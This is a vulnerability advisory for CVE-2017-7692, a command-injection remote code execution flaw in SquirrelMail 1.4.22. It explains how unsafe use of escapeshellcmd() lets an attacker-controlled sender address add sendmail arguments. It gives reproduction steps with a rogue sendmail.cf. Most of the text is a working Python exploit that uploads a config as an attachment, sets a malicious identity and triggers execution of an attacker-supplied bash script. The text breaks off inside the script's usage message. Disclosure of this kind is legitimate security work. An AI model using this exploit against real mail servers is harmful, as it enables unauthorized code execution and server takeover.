Advisory ID: SGMA17-001 Title: Squirrelmail Remote Code Execution Product: Squirrelmail Version: 1.4.22 and probably prior Vendor: squirrelmail.org Type: Command Injection Risk level: 4 / 5 Credit: filippo.cavallarin@wearesegment.com CVE: CVE-2017-7692 Vendor notification: 2017-04-04 Vendor fix: N/A Public disclosure: 2017-04-19 DETAILS Squirrelmail version 1.4.22 (and probably prior) is vulnerable to a remote code execution vulnerability because it fails to sanitize a string before passing it to a popen call. It's possible to exploit this vulnerability to execute arbitrary shell commands on the remote server. The problem is in Deliver_SendMail.class.php on initStream function that uses escapeshellcmd() to sanitize the sendmail command before executing it. The use of escapeshellcmd() is not correct in this case since it don't escapes whitespaces allowing the injection of arbitrary command parameters. $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom"; $stream = popen(escapeshellcmd($this->sendmail_command), "w"); The $envelopefrom variable is controlled by the attacker, hence it's possible to trick sendmail to use an attacker-provided configuration file that triggers the execution of an arbitrary command. In order to exploit this vulnerability the MTA in use must be sendmail and Squirrelmail must be configured to use it as commandline (useSendmail directive of the config file set to true). Also, the edit_identity directive of the config file must be bet to true, but this is the default configuration. To reproduce the issue follow these steps: 1. Create a rogue sendmail.cf that triggers the execution of a /usr/bin/touch: [...] Mlocal, P=/usr/bin/touch, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/X-Unix, A=X /tmp/executed 2. Upload it as a mail attachment and get it's remote name (ex: lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD) 3. Go to Options -> Personal Informations and set the following payload as Email Address: 4. Send an email 5. Verify the execution of the command with "ls /tmp/executed" on the remote server PROOF OF CONCEPT The followig python script exploits this vulnerability to execute an attacker provided bash script on the remote server. BOF #!/usr/bin/env python # -*- coding: utf-8 -*- """ SquirrelMail 1.4.22 Remote Code Execution (authenticated) Exploit code for CVE-2017-7692 filippo.cavallarin@wearesegment.com """ from __future__ import unicode_literals import sys import os import re import requests reload(sys) sys.setdefaultencoding('utf8') SENDMAILCF="/tmp/squirrelmail1_4_22-sendmailcf-rce" COMPOSE = "/src/compose.php" INFOS = "/src/options.php?optpage=personal" SQM_ATTACH_PATH = "/var/local/squirrelmail/attach/" # must be enclosed in <> otherwise spaces will be removed .. SENDER = "" SESSID = "" BASEURL = "" def attach(attachment): url = "%s%s" % (BASEURL, COMPOSE) token = get_csrf_token(url) values = { "smtoken": token, "attach": "add" } try: files = {'attachfile': open(attachment,'rb')} resp = requests.post(url, files=files, data=values, cookies={'SQMSESSID':SESSID}) fname = re.search(r'att_local_name";s:[0-9]+:"([a-zA-Z0-9]+)"', resp.text) if not fname: print "\nError: unable to upload file %s" % attachment return fname.group(1) except Exception as e: print "\nError: %s" % e sys.exit(1) def send(): url = "%s%s" % (BASEURL, COMPOSE) token = get_csrf_token(url) values = { "smtoken": token, "send_to": "root", "send": "Send" } try: resp = requests.post(url, data=values, cookies={'SQMSESSID':SESSID}) except Exception as e: print "\nError: %s" % e sys.exit(1) def set_identity(sender): url = "%s%s" % (BASEURL, INFOS) token = get_csrf_token(url) values = { "smtoken": token, "optpage": "personal", "optmode": "submit", "new_email_address": sender, "submit_personal": "Submit" } try: requests.post(url, data=values, cookies={'SQMSESSID':SESSID}) except Exception as e: print "\nError: %s" % e sys.exit(1) def get_csrf_token(url): try: body = requests.get(url, cookies={'SQMSESSID':SESSID}).text inp = re.search(r'', body, re.MULTILINE) token = re.search(r'value="([a-zA-Z0-9]+)"', inp.group(0)) if token: return token.group(1) except Exception as e: pass print "\nUnable to get CSRF token" sys.exit(1) def outw(s): sys.stdout.write(s) sys.stdout.flush() def main(argv): global BASEURL global SESSID if len(argv) != 4: print ( "SquirrelMail 1.4.22 Remote Code Execution (authenticated) - filippo.cavallarin@wearesegment.com\n" "The target server must use sendmail and squirrelmail must be configured to use /usr/bin/sendmail\n" "Usage:\n" " %s